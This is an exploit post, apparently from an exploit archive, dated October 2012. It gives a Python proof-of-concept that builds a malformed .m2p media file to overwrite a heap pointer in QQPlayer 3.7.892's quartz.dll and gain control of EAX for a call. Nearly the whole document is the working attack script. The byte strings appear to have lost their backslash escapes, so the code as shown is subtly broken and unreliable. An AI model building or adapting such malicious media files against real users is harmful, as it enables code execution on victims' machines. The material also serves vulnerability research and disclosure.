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QQPlayer 3.7.892 Heap Pointer Overwrite

Posted on 15 October 2012

# Exploit Title: QQPlayer 3.7.892 m2p quartz.dll heap pointer overwrite PoC
# Date: 10/14/2012
# Author: James Ritchey
# Vendor Homepage: www.qq-player.com
# Software Link: http://www.qq-player.com/download_en.php
# Version: 3.7.892
# Tested on: Windows XP SP3

l = 3315716 * "A"
s1 = ((0,'x00x00x01xba'), (2048, 'x00x00x01xba'),
 (3289120, 'x00x00x01xe0x07'), (3289273, 'x00x00x01xb3'),
 (3289283, 'xba'), (3289452, 'x42x42x42x42'),
 (3289468, 'x00x00x01x00'), (3290359, 'x00x00x01x00'),
 (3301408, 'x00x00x01xe0x07'), (3303112, 'x00x00x01x00'))
# EAX overwrite(3289452, 'x42x42x42x42') call eax+0x24

o = open("c:\poc.m2p","wb")
o.write(l)

for i in range(len(s1)):
 o.seek(s1[i][0], 0)
 o.write(s1[i][1])

o.close()

 

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